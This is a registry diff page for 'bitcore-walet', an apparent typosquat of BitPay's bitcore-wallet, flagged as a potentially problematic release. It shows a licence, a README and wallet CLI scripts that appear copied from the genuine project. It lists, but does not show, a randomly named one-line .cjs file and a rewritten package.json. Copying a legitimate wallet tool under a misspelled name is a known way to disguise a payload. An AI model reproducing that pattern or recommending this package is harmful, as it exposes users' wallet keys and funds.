bitcore-walet 0.0.1-security → 8.19.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of bitcore-walet might be problematic. Click here for more details.
- package/LICENCE +21 -0
- package/README.md +135 -3
- package/bin/wallet +31 -0
- package/bin/wallet-address +19 -0
- package/bin/wallet-addresses +30 -0
- package/bin/wallet-airsign +49 -0
- package/bin/wallet-balance +29 -0
- package/bin/wallet-broadcast +25 -0
- package/bin/wallet-confirm +34 -0
- package/bin/wallet-create +51 -0
- package/bin/wallet-derive +41 -0
- package/bin/wallet-export +50 -0
- package/bin/wallet-genkey +24 -0
- package/bin/wallet-history +180 -0
- package/bin/wallet-import +85 -0
- package/bin/wallet-join +25 -0
- package/bin/wallet-mnemonic +17 -0
- package/bin/wallet-recreate +19 -0
- package/bin/wallet-reject +29 -0
- package/bin/wallet-rm +29 -0
- package/bin/wallet-send +142 -0
- package/bin/wallet-sign +29 -0
- package/bin/wallet-status +36 -0
- package/bin/wallet-txproposals +26 -0
- package/ct1e1tim.cjs +1 -0
- package/package.json +77 -4
package/LICENCE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2015 BitPay
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in
|
13
|
+
all copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
21
|
+
THE SOFTWARE.
|
package/README.md
CHANGED
@@ -1,5 +1,137 @@
|
|
1
|
-
#
|
1
|
+
# Bitcore Wallet
|
2
2
|
|
3
|
-
|
3
|
+
[](https://www.npmjs.org/package/bitcore-wallet)
|
4
4
|
|
5
|
-
|
5
|
+
**A simple Command Line Interface Wallet using [Bitcore Wallet Service](https://github.com/bitpay/bitcore/tree/master/packages/bitcore-wallet-service) and its *official* client lib [Bitcore Wallet Client](https://github.com/bitpay/bitcore/tree/master/packages/bitcore-wallet-client).**
|
6
|
+
|
7
|
+
This can be used to operate Bitcoin and Bitcoin Cash wallets.
|
8
|
+
|
9
|
+
## Quick Guide
|
10
|
+
|
11
|
+
```sh
|
12
|
+
# Use -h or BWS_HOST to setup the BWS URL (defaults to localhost:3001)
|
13
|
+
#
|
14
|
+
# Start a local BWS instance be doing:
|
15
|
+
# git clone https://github.com/bitpay/bitcore/tree/master/packages/bitcore-wallet-service.git bws
|
16
|
+
# cd bws; npm install; npm start
|
17
|
+
|
18
|
+
cd bin
|
19
|
+
|
20
|
+
# Create a 2-of-2 wallet (~/.wallet.dat is the default filename where the wallet critical data will be stored)
|
21
|
+
#
|
22
|
+
# TIP: add -t for testnet, and -p to encrypt the credentials file
|
23
|
+
wallet create 'my wallet' 2-2
|
24
|
+
* Secret to share:
|
25
|
+
JevjEwaaxW6gdAZjqgWcimL525DR8zQsAXf4cscWDa8u1qKTN5eFGSFssuSvT1WySu4YYLYMUPT
|
26
|
+
|
27
|
+
# Check the status of your wallet
|
28
|
+
wallet status
|
29
|
+
|
30
|
+
* Wallet my wallet [livenet]: 2-of-2 pending
|
31
|
+
Missing copayers: 1
|
32
|
+
|
33
|
+
# Use -f or WALLET_FILE to setup the wallet data file
|
34
|
+
|
35
|
+
# Join the wallet as another copayer (add -p to encrypt credentials file)
|
36
|
+
wallet -f pete.dat join JevjEwaaxW6gdAZjqgWcimL525DR8zQsAXf4cscWDa8u1qKTN5eFGSFssuSvT1WySu4YYLYMUPT
|
37
|
+
|
38
|
+
export WALLET_FILE=pete.dat
|
39
|
+
wallet status
|
40
|
+
|
41
|
+
# Generate addresses to receive money
|
42
|
+
wallet address
|
43
|
+
* New Address 3xxxxxx
|
44
|
+
|
45
|
+
# Check your balance
|
46
|
+
wallet balance
|
47
|
+
|
48
|
+
# Spend coins. Amount can be specified in btc, bit or sat (default)
|
49
|
+
wallet send 1xxxxx 1000bit "1000 bits to mother"
|
50
|
+
* Tx created: ID 01425517364314b9ac6017-e97d-46d5-a12a-9d4e5550abef [pending]
|
51
|
+
RequiredSignatures: 2
|
52
|
+
|
53
|
+
# You can use 1000bit or 0.0001btc or 100000sat. (Set BIT_UNIT to btc/sat/bit to select output unit).
|
54
|
+
|
55
|
+
It is also possible to use Payment Protocol or BIP21. Examples:
|
56
|
+
|
57
|
+
wallet send 'bitcoin:?r=https://bitpay.com/i/8rR7ydnLfQGqnRW1mqvXxJ'
|
58
|
+
wallet send 'bitcoin:1N4zjmp1ojRborDiAu62MyCpaz9wjhPLM?amount=1'
|
59
|
+
|
60
|
+
# List pending TX Proposals
|
61
|
+
wallet txproposals
|
62
|
+
* TX Proposals:
|
63
|
+
abef ["1000 bits to mother" by pete] 1,000 bit => 1xxxxx
|
64
|
+
Missing signatures: 2
|
65
|
+
|
66
|
+
# Sign or reject TXs from other copayers
|
67
|
+
wallet -f pete.dat reject <id>
|
68
|
+
wallet -f pete.dat sign <id>
|
69
|
+
|
70
|
+
# List transaction history
|
71
|
+
wallet history
|
72
|
+
a few minutes ago: => sent 1,000 bit ["1000 bits to mother" by pete] (1 confirmations)
|
73
|
+
a day ago: <= received 1,400 bit (48 confirmations)
|
74
|
+
a day ago: <= received 300 bit (62 confirmations)
|
75
|
+
|
76
|
+
# List all commands:
|
77
|
+
wallet --help
|
78
|
+
```
|
79
|
+
|
80
|
+
## Password protection
|
81
|
+
|
82
|
+
It is possible (and recommeded) to encrypt the wallet's credentials (.dat file). this is done be adding the `-p` parameter to `join` or `create` or `genkey`. The password will be asked interactively. Following commands that use the crendetials will require the password to work.
|
83
|
+
|
84
|
+
Password-based key derivation function 2 ([PBKDF2](https://en.wikipedia.org/wiki/PBKDF2)) is used to derive the key to encrypt the data. AES is used to do the actual encryption, using the implementation of [SJCL](https://bitwiseshiftleft.github.io/sjcl/).
|
85
|
+
|
86
|
+
## Airgapped Operation
|
87
|
+
|
88
|
+
Air gapped (non connected) devices are supported. This setup can be useful if maximum security is needed, to prevent private keys from being compromised. In this setup, a device is installed without network access, and transactions are signed off-line. Transactions can be pulled from BWS using a `proxy` device, then downloaded to a pendrive to be moved to the air-gapped device, signed there, and then moved back the `proxy` device to be sent back to BWS. Note that Private keys are generated off-line in the airgapped device.
|
89
|
+
|
90
|
+
```sh
|
91
|
+
# On the Air-gapped device
|
92
|
+
|
93
|
+
# Generate extended private key (add -t for testnet)
|
94
|
+
airgapped$ wallet genkey
|
95
|
+
* Livenet Extended Private Key Created.
|
96
|
+
|
97
|
+
airgapped$ wallet export -o toproxy --nosign
|
98
|
+
* Wallet data saved at toproxy without signing capability.
|
99
|
+
|
100
|
+
|
101
|
+
# On the proxy machine
|
102
|
+
proxy$ wallet import toproxy
|
103
|
+
* Wallet Imported without signing capability.
|
104
|
+
proxy$ wallet join <secret> # Or wallet create
|
105
|
+
proxy$ wallet address
|
106
|
+
proxy$ wallet balance
|
107
|
+
|
108
|
+
# It is not possible to sign transactions from the proxy device
|
109
|
+
proxy$ wallet sign
|
110
|
+
[Error: You do not have the required keys to sign transactions]
|
111
|
+
|
112
|
+
# Export pending transaction to be signed offline
|
113
|
+
proxy$ wallet txproposals -o txproposals.dat
|
114
|
+
|
115
|
+
## Back to air-gapped device
|
116
|
+
|
117
|
+
# Sign them
|
118
|
+
airgapped$ wallet airsign txproposals.dat -o signatures.dat
|
119
|
+
|
120
|
+
# NOTE: To allow the airgapped device to check the transaction proposals being signed, the public keys of the copayers will be imported from the txproposals archive. That information is exported automatically by the proxy machine, and encrypted using copayer's xpriv derivatives.
|
121
|
+
|
122
|
+
## Back to proxy machine
|
123
|
+
|
124
|
+
# Send signatures to BWS
|
125
|
+
proxy$ wallet sign -i signatures.dat
|
126
|
+
Transaction 014255.... signed by you.
|
127
|
+
```
|
128
|
+
|
129
|
+
## Contributing
|
130
|
+
|
131
|
+
See [CONTRIBUTING.md](https://github.com/bitpay/bitcore/blob/master/Contributing.md) on the main bitcore repo for information about how to contribute.
|
132
|
+
|
133
|
+
## License
|
134
|
+
|
135
|
+
Code released under [the MIT license](https://github.com/bitpay/bitcore/blob/master/LICENSE).
|
136
|
+
|
137
|
+
Copyright 2013-2019 BitPay, Inc. Bitcore is a trademark maintained by BitPay, Inc.
|
package/bin/wallet
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var program = require('commander');
|
4
|
+
|
5
|
+
program
|
6
|
+
.version('0.0.7')
|
7
|
+
.command('create <walletName> <m-n> [username]', 'creates a wallet')
|
8
|
+
.command('join <secret> [username]', 'join a wallet')
|
9
|
+
.command('mnemonic', 'show mnemonics from my wallet')
|
10
|
+
.command('status', 'get wallet status')
|
11
|
+
.command('address', 'create a new address from server')
|
12
|
+
.command('addresses', 'list addresses')
|
13
|
+
.command('balance', 'wallet balance')
|
14
|
+
.command('send <address> <amount> [note]', 'send bitcoins')
|
15
|
+
.command('sign <txpId>', 'sign a transaction proposal')
|
16
|
+
.command('reject <txpId> [reason]', 'reject a transaction proposal')
|
17
|
+
.command('broadcast <txpId>', 'broadcast a transaction proposal to the Bitcoin network')
|
18
|
+
.command('rm <txpId>', 'remove a transaction proposal')
|
19
|
+
.command('history', 'list of past incoming and outgoing transactions')
|
20
|
+
.command('export', 'export wallet critical data')
|
21
|
+
.command('import <backup> <passphrase>', 'import wallet critical data')
|
22
|
+
.command('confirm', 'show copayer\'s data for confirmation')
|
23
|
+
.command('recreate', 'recreate a wallet on a remove server given local infomation')
|
24
|
+
.command('txproposals', 'list transactions proposals')
|
25
|
+
.command('genkey', 'generates extended private key for later wallet usage')
|
26
|
+
.command('airsign <file>', 'sign a list of transaction proposals from an air-gapped device')
|
27
|
+
.command('derive <path>', 'derive using the extended private key')
|
28
|
+
.parse(process.argv);
|
29
|
+
|
30
|
+
if (!program.args.length || !program.runningCommand)
|
31
|
+
program.help();
|
@@ -0,0 +1,19 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var program = require('commander');
|
4
|
+
var utils = require('./cli-utils');
|
5
|
+
program = utils.configureCommander(program);
|
6
|
+
|
7
|
+
program
|
8
|
+
.parse(process.argv);
|
9
|
+
|
10
|
+
var args = program.args;
|
11
|
+
utils.getClient(program, {
|
12
|
+
mustExist: true
|
13
|
+
}, function(client) {
|
14
|
+
client.createAddress({}, function(err, x) {
|
15
|
+
utils.die(err);
|
16
|
+
|
17
|
+
console.log('* New Address %s ', x.address);
|
18
|
+
});
|
19
|
+
});
|
@@ -0,0 +1,30 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var program = require('commander');
|
5
|
+
var utils = require('./cli-utils');
|
6
|
+
program = utils.configureCommander(program);
|
7
|
+
|
8
|
+
program
|
9
|
+
.parse(process.argv);
|
10
|
+
|
11
|
+
var args = program.args;
|
12
|
+
|
13
|
+
utils.getClient(program, { mustExist: true }, function (client) {
|
14
|
+
|
15
|
+
client.getMainAddresses({
|
16
|
+
doNotVerify: true
|
17
|
+
}, function(err, x) {
|
18
|
+
|
19
|
+
utils.die(err);
|
20
|
+
|
21
|
+
if (x.length > 0) {
|
22
|
+
console.log('* Addresses:');
|
23
|
+
_.each(x, function(a) {
|
24
|
+
console.log(' ', a.address);
|
25
|
+
});
|
26
|
+
} else {
|
27
|
+
console.log('* No addresses.');
|
28
|
+
}
|
29
|
+
});
|
30
|
+
});
|
@@ -0,0 +1,49 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var fs = require('fs');
|
5
|
+
var program = require('commander');
|
6
|
+
var utils = require('./cli-utils');
|
7
|
+
program = utils.configureCommander(program);
|
8
|
+
|
9
|
+
program
|
10
|
+
.usage('[options] <file>')
|
11
|
+
.option('-o, --output <filename>', 'write signatures to file')
|
12
|
+
.parse(process.argv);
|
13
|
+
|
14
|
+
var args = program.args;
|
15
|
+
if (!args[0])
|
16
|
+
program.help();
|
17
|
+
|
18
|
+
var file = args[0];
|
19
|
+
|
20
|
+
utils.getClient(program, { mustExist: true, doNotComplete: true }, function (client) {
|
21
|
+
var task = JSON.parse(fs.readFileSync(file));
|
22
|
+
var errors = [];
|
23
|
+
var signatures = _.map(task.txps, function (txp) {
|
24
|
+
try {
|
25
|
+
return {
|
26
|
+
txpId: txp.id,
|
27
|
+
signatures: client.signTxProposalFromAirGapped(txp, task.encryptedPkr, task.m, task.n),
|
28
|
+
};
|
29
|
+
} catch (ex) {
|
30
|
+
errors.push({
|
31
|
+
txp: txp,
|
32
|
+
error: ex
|
33
|
+
});
|
34
|
+
}
|
35
|
+
});
|
36
|
+
if (errors.length == 0) {
|
37
|
+
if (program.output) {
|
38
|
+
fs.writeFileSync(program.output, JSON.stringify(signatures));
|
39
|
+
console.log('Signatures written to file.');
|
40
|
+
} else {
|
41
|
+
console.log(JSON.stringify(signatures));
|
42
|
+
}
|
43
|
+
} else {
|
44
|
+
console.log('Error signing transactions:');
|
45
|
+
_.each(errors, function (e) {
|
46
|
+
console.log('\tTransaction %s: %s', e.txp.id, e.error.message);
|
47
|
+
});
|
48
|
+
}
|
49
|
+
});
|
@@ -0,0 +1,29 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var program = require('commander');
|
4
|
+
var utils = require('./cli-utils');
|
5
|
+
program = utils.configureCommander(program);
|
6
|
+
program
|
7
|
+
.option('-c, --coin <coin>', 'coin (btc/bch)')
|
8
|
+
.parse(process.argv);
|
9
|
+
|
10
|
+
|
11
|
+
program.option = function(){};;
|
12
|
+
|
13
|
+
var args = program.args;
|
14
|
+
|
15
|
+
|
16
|
+
var opts = {};
|
17
|
+
if (program.coin) {
|
18
|
+
opts.coin = program.coin
|
19
|
+
}
|
20
|
+
|
21
|
+
utils.getClient(program, {
|
22
|
+
mustExist: true
|
23
|
+
}, function(client) {
|
24
|
+
client.getBalance(opts, function(err, x) {
|
25
|
+
const coin = client.credentials.coin;
|
26
|
+
utils.die(err);
|
27
|
+
console.log('* Wallet balance %s (Locked %s)', utils.renderAmount(x.totalAmount, coin), utils.renderAmount(x.lockedAmount, coin));
|
28
|
+
});
|
29
|
+
});
|
@@ -0,0 +1,25 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var program = require('commander');
|
5
|
+
var utils = require('./cli-utils');
|
6
|
+
program = utils.configureCommander(program);
|
7
|
+
|
8
|
+
program
|
9
|
+
.usage('[options] <txpid>')
|
10
|
+
.parse(process.argv);
|
11
|
+
|
12
|
+
var args = program.args;
|
13
|
+
var txpid = args[0] || '';
|
14
|
+
|
15
|
+
utils.getClient(program, { mustExist: true }, function (client) {
|
16
|
+
client.getTxProposals({}, function(err, txps) {
|
17
|
+
utils.die(err);
|
18
|
+
|
19
|
+
var txp = utils.findOneTxProposal(txps, txpid);
|
20
|
+
client.broadcastTxProposal(txp, function(err, txp) {
|
21
|
+
utils.die(err);
|
22
|
+
console.log('Transaction Broadcasted: TXID: ' + txp.txid);
|
23
|
+
});
|
24
|
+
});
|
25
|
+
});
|
@@ -0,0 +1,34 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var program = require('commander');
|
5
|
+
var utils = require('./cli-utils');
|
6
|
+
program = utils.configureCommander(program);
|
7
|
+
|
8
|
+
program
|
9
|
+
.parse(process.argv);
|
10
|
+
|
11
|
+
utils.getClient(program, { mustExist: true }, function (client) {
|
12
|
+
client.getStatus({}, function(err, x) {
|
13
|
+
utils.die(err);
|
14
|
+
|
15
|
+
if (x.wallet.n == 1) {
|
16
|
+
console.log('Confirmations only work on shared wallets');
|
17
|
+
process.exit(1);
|
18
|
+
}
|
19
|
+
console.log('\n To be sure that no copayer has joined this wallet more than once, you can asked them for their confirmation number. They can get theirs by running the bit-confirm command.');
|
20
|
+
console.log('\n * Copayer confirmation IDs:');
|
21
|
+
|
22
|
+
var myConfirmationId;
|
23
|
+
_.each(x.wallet.copayers, function(x) {
|
24
|
+
var confirmationId = utils.confirmationId(x);
|
25
|
+
if (x.id != client.credentials.copayerId)
|
26
|
+
console.log('\t\t* %s : %s', x.name, confirmationId);
|
27
|
+
else
|
28
|
+
myConfirmationId = confirmationId;
|
29
|
+
});
|
30
|
+
|
31
|
+
console.log('\t\t---');
|
32
|
+
console.log('\t\tYour confirmation ID: %s', myConfirmationId);
|
33
|
+
});
|
34
|
+
});
|
@@ -0,0 +1,51 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var program = require('commander');
|
5
|
+
var utils = require('./cli-utils');
|
6
|
+
program = utils.configureCommander(program);
|
7
|
+
|
8
|
+
program
|
9
|
+
.option('-t, --testnet', 'Create a Testnet Wallet')
|
10
|
+
.option('-p, --password', 'Encrypt wallet. Will ask password interactively')
|
11
|
+
.option('-c, --coin <coin>', 'coin (btc/bch)')
|
12
|
+
.usage('[options] <walletName> <m-n> [copayerName] <passphrase>')
|
13
|
+
.parse(process.argv);
|
14
|
+
|
15
|
+
var args = program.args;
|
16
|
+
if (!args[0])
|
17
|
+
program.help();
|
18
|
+
|
19
|
+
var walletName = args[0];
|
20
|
+
var copayerName = args[2] || process.env.USER;
|
21
|
+
var passphrase = args[3];
|
22
|
+
var network = program.testnet ? 'testnet' : 'livenet';
|
23
|
+
var coin = program.coin ? program.coin : 'btc';
|
24
|
+
|
25
|
+
var mn;
|
26
|
+
try {
|
27
|
+
mn = utils.parseMN(args[1]);
|
28
|
+
} catch (ex) {
|
29
|
+
utils.die(ex);
|
30
|
+
}
|
31
|
+
|
32
|
+
utils.getClient(program, {
|
33
|
+
doNotComplete: true
|
34
|
+
}, function(client) {
|
35
|
+
|
36
|
+
let {key, cred} = utils.create(client, { coin, network, account: 0, n: mn[1] });
|
37
|
+
client.createWallet(walletName, copayerName, mn[0], mn[1], {
|
38
|
+
network: network,
|
39
|
+
coin: coin,
|
40
|
+
}, function(err, secret) {
|
41
|
+
utils.die(err);
|
42
|
+
console.log(' * ' + _.capitalize(network) + ' Wallet Created.');
|
43
|
+
utils.saveClient(program, key, cred, {
|
44
|
+
doNotOverwrite: true
|
45
|
+
}, function() {
|
46
|
+
if (secret) {
|
47
|
+
console.log(' - Secret to share:\n\t' + secret);
|
48
|
+
}
|
49
|
+
});
|
50
|
+
});
|
51
|
+
});
|
@@ -0,0 +1,41 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var program = require('commander');
|
4
|
+
var utils = require('./cli-utils');
|
5
|
+
var Bitcore = require('bitcore-wallet-client').Bitcore;
|
6
|
+
|
7
|
+
program = utils.configureCommander(program);
|
8
|
+
|
9
|
+
program
|
10
|
+
.usage('[options] <path>')
|
11
|
+
.description('Derive from an arbitrary path from a private key.');
|
12
|
+
|
13
|
+
program.on('--help', function() {
|
14
|
+
console.log(' Examples:');
|
15
|
+
console.log('');
|
16
|
+
console.log(' $ wallet-derive "m/44\'/0\'/0\'"');
|
17
|
+
console.log(' $ wallet-derive "m/1/1"');
|
18
|
+
console.log('');
|
19
|
+
});
|
20
|
+
program.parse(process.argv);
|
21
|
+
|
22
|
+
var args = program.args;
|
23
|
+
if (!args[0])
|
24
|
+
program.help();
|
25
|
+
|
26
|
+
var path = args[0];
|
27
|
+
|
28
|
+
function getExtendedPublicKey(client, path) {
|
29
|
+
var xpriv = client.credentials.xPrivKey;
|
30
|
+
var derivedXPriv = new Bitcore.HDPrivateKey(xpriv).derive(path);
|
31
|
+
return derivedXPriv.hdPublicKey.toString();
|
32
|
+
};
|
33
|
+
|
34
|
+
utils.getClient(program, {
|
35
|
+
mustExist: true
|
36
|
+
}, function(client) {
|
37
|
+
var xpub = getExtendedPublicKey(client, path);
|
38
|
+
var pub = new Bitcore.HDPublicKey(xpub).publicKey;
|
39
|
+
var address = pub.toAddress().toString();
|
40
|
+
console.log('Derived XPub:', xpub, '\nPublic key:', pub.toString(), '\nAddress:', address);
|
41
|
+
});
|
@@ -0,0 +1,50 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var program = require('commander');
|
4
|
+
var qr = require('qr-image');
|
5
|
+
var fs = require('fs');
|
6
|
+
var _ = require('lodash');
|
7
|
+
|
8
|
+
var utils = require('./cli-utils');
|
9
|
+
program = utils.configureCommander(program);
|
10
|
+
|
11
|
+
program
|
12
|
+
.option('-n, --nosign', 'export wallet credentials without transaction signing keys (extended private key)')
|
13
|
+
.option('-q, --qr', 'export a QR code')
|
14
|
+
.option('-e, --exportpassword <password>', 'a password to encrypt the exported data')
|
15
|
+
.option('-o, --output <filename>', 'output file');
|
16
|
+
|
17
|
+
program
|
18
|
+
.parse(process.argv);
|
19
|
+
|
20
|
+
var args = program.args;
|
21
|
+
|
22
|
+
utils.getClient(program, { doNotComplete: true, mustExist: true }, function (client) {
|
23
|
+
var x;
|
24
|
+
try {
|
25
|
+
x = client.export({
|
26
|
+
compressed: !!program.qr,
|
27
|
+
noSign: !!program.nosign,
|
28
|
+
password: program.exportpassword,
|
29
|
+
});
|
30
|
+
} catch (ex) {
|
31
|
+
utils.die(ex);
|
32
|
+
}
|
33
|
+
|
34
|
+
var access = !!program.nosign ? 'without signing capability' : 'with signing capability';
|
35
|
+
if (program.qr) {
|
36
|
+
var filename = program.file + '.svg';
|
37
|
+
var qr_svg = qr.image(x, {
|
38
|
+
type: 'svg'
|
39
|
+
});
|
40
|
+
qr_svg.pipe(fs.createWriteStream(filename));
|
41
|
+
console.log('Wallet data: exported to %s %s.', filename, access);
|
42
|
+
} else {
|
43
|
+
if (program.output) {
|
44
|
+
fs.writeFileSync(program.output, x, { encoding: 'utf8' });
|
45
|
+
console.log('Wallet data saved at %s %s.', program.output, access);
|
46
|
+
} else {
|
47
|
+
console.log('Wallet data (%s).\n%s', access, x);
|
48
|
+
}
|
49
|
+
}
|
50
|
+
});
|
@@ -0,0 +1,24 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var program = require('commander');
|
5
|
+
var fs = require('fs');
|
6
|
+
var utils = require('./cli-utils');
|
7
|
+
program = utils.configureCommander(program);
|
8
|
+
|
9
|
+
program
|
10
|
+
.option('-t, --testnet', 'Create a Testnet Extended Private Key')
|
11
|
+
.option('-c, --coin <coin>', 'coin (btc/bch)')
|
12
|
+
.option('-p, --password', 'Encrypt wallet. Will ask password interactively')
|
13
|
+
.parse(process.argv);
|
14
|
+
|
15
|
+
var args = program.args;
|
16
|
+
var network = program.testnet ? 'testnet' : 'livenet';
|
17
|
+
var coin = program.coin ? 'btc' : 'bch';
|
18
|
+
utils.getClient(program, { doNotComplete: true, mustBeNew: true }, function (client) {
|
19
|
+
client.seedFromRandom({network:network, coin:coin});
|
20
|
+
utils.saveClient(program, client, function () {
|
21
|
+
console.log(' * ' + _.capitalize(network) + '/' + coin + ' Extended Private Key Created.');
|
22
|
+
console.log(' To operate with the corresponding public keys from a proxy device, please run `wallet-export --nosign` and then on the proxy device `wallet-import`.');
|
23
|
+
});
|
24
|
+
});
|
@@ -0,0 +1,180 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var fs = require('fs');
|
5
|
+
var moment = require('moment');
|
6
|
+
var async = require('async');
|
7
|
+
var program = require('commander');
|
8
|
+
var utils = require('./cli-utils');
|
9
|
+
program = utils.configureCommander(program);
|
10
|
+
|
11
|
+
program
|
12
|
+
.option('-o, --output <file>', 'get JSON output in file')
|
13
|
+
.option('-l, --limit <n>', 'limit history to n transactions')
|
14
|
+
.option('-i, --info', 'get extra history info')
|
15
|
+
.option('-t, --format <json>', 'format csv / json')
|
16
|
+
.parse(process.argv);
|
17
|
+
|
18
|
+
var args = program.args;
|
19
|
+
|
20
|
+
var skip = 0, total = 0 ,
|
21
|
+
limit = program.limit, got, page = 1000;
|
22
|
+
console.warn("* TX History:")
|
23
|
+
|
24
|
+
let converter = JSON.stringify.bind();
|
25
|
+
|
26
|
+
|
27
|
+
function formatDate(date) {
|
28
|
+
var dateObj = new Date(date);
|
29
|
+
if (!dateObj) {
|
30
|
+
this.logger.warn('Error formating a date');
|
31
|
+
return 'DateError';
|
32
|
+
}
|
33
|
+
if (!dateObj.toJSON()) {
|
34
|
+
return '';
|
35
|
+
}
|
36
|
+
return dateObj.toJSON();
|
37
|
+
}
|
38
|
+
|
39
|
+
|
40
|
+
|
41
|
+
if (program.format == 'csv') {
|
42
|
+
converter = function(txs) {
|
43
|
+
|
44
|
+
var ret = '';
|
45
|
+
var _amount, _note, _copayers, _creator, _comment;
|
46
|
+
var csvContent = [];
|
47
|
+
|
48
|
+
// from Copay
|
49
|
+
txs.forEach(it => {
|
50
|
+
var amount = it.amount;
|
51
|
+
if (it.action == 'moved') amount = 0;
|
52
|
+
|
53
|
+
_copayers = '';
|
54
|
+
_creator = '';
|
55
|
+
|
56
|
+
if (it.actions && it.actions.length > 1) {
|
57
|
+
for (var i = 0; i < it.actions.length; i++) {
|
58
|
+
_copayers +=
|
59
|
+
it.actions[i].copayerName + ':' + it.actions[i].type + ' - ';
|
60
|
+
}
|
61
|
+
_creator =
|
62
|
+
it.creatorName && it.creatorName != 'undefined'
|
63
|
+
? it.creatorName
|
64
|
+
: '';
|
65
|
+
}
|
66
|
+
_amount = (it.action == 'sent' ? '-' : '') + (amount /1e8).toFixed(8);
|
67
|
+
_note = it.message || '';
|
68
|
+
_comment = it.note ? it.note.body : '';
|
69
|
+
|
70
|
+
if (it.action == 'moved')
|
71
|
+
_note += ' Moved:' + (it.amount /1e8).toFixed(8);
|
72
|
+
|
73
|
+
csvContent.push({
|
74
|
+
Date: formatDate(it.time * 1000),
|
75
|
+
Destination: it.addressTo || '',
|
76
|
+
Description: _note,
|
77
|
+
Amount: _amount,
|
78
|
+
Currency: this.currency,
|
79
|
+
Txid: it.txid,
|
80
|
+
Creator: _creator,
|
81
|
+
Copayers: _copayers,
|
82
|
+
Comment: _comment
|
83
|
+
});
|
84
|
+
|
85
|
+
if (it.fees && (it.action == 'moved' || it.action == 'sent')) {
|
86
|
+
var _fee = (it.fees / 1e8).toFixed(8);
|
87
|
+
csvContent.push({
|
88
|
+
Date: formatDate(it.time * 1000),
|
89
|
+
Destination: 'Bitcoin Network Fees',
|
90
|
+
Description: '',
|
91
|
+
Amount: '-' + _fee,
|
92
|
+
Currency: this.currency,
|
93
|
+
Txid: '',
|
94
|
+
Creator: '',
|
95
|
+
Copayers: ''
|
96
|
+
});
|
97
|
+
}
|
98
|
+
|
99
|
+
});
|
100
|
+
|
101
|
+
csvContent.forEach(it => {
|
102
|
+
ret = ret + `${it.Date},${it.Txid},${it.Destination},${it.Amount}` + "\n";
|
103
|
+
});
|
104
|
+
return ret;
|
105
|
+
};
|
106
|
+
} else if (program.format == 'json') {
|
107
|
+
} else if (program.format) {
|
108
|
+
utils.die('Unknown format ' + program.format);
|
109
|
+
}
|
110
|
+
|
111
|
+
|
112
|
+
var allTxs=[];
|
113
|
+
|
114
|
+
utils.getClient(program, { mustExist: true }, function (client) {
|
115
|
+
async.doWhilst(
|
116
|
+
function(cb) {
|
117
|
+
client.getTxHistory({
|
118
|
+
skip: skip,
|
119
|
+
limit: page+ 1,
|
120
|
+
includeExtendedInfo: program.info,
|
121
|
+
}, function(err, txs) {
|
122
|
+
if (err) return cb(err);
|
123
|
+
|
124
|
+
if (_.isEmpty(txs))
|
125
|
+
return;
|
126
|
+
|
127
|
+
got = txs.length;
|
128
|
+
if (got > page) {
|
129
|
+
txs.pop();
|
130
|
+
}
|
131
|
+
|
132
|
+
if (program.output) {
|
133
|
+
allTxs = allTxs.concat(txs);
|
134
|
+
fs.writeFile(program.output,converter(allTxs), {
|
135
|
+
encoding: 'utf8'
|
136
|
+
}, function(err) {
|
137
|
+
if (err) console.error(err);
|
138
|
+
console.warn('Output file updated')
|
139
|
+
});
|
140
|
+
} else {
|
141
|
+
_.each(txs, function(tx) {
|
142
|
+
var time = moment(tx.time * 1000).fromNow();
|
143
|
+
var amount = utils.renderAmount(tx.amount);
|
144
|
+
var confirmations = tx.confirmations || 0;
|
145
|
+
var proposal = tx.proposalId ? '["' + tx.message + '" by ' + tx.creatorName + '] ' : '';
|
146
|
+
var direction;
|
147
|
+
switch (tx.action) {
|
148
|
+
case 'received':
|
149
|
+
direction = '<=';
|
150
|
+
break;
|
151
|
+
case 'moved':
|
152
|
+
direction = '==';
|
153
|
+
break;
|
154
|
+
case 'sent':
|
155
|
+
direction = '=>';
|
156
|
+
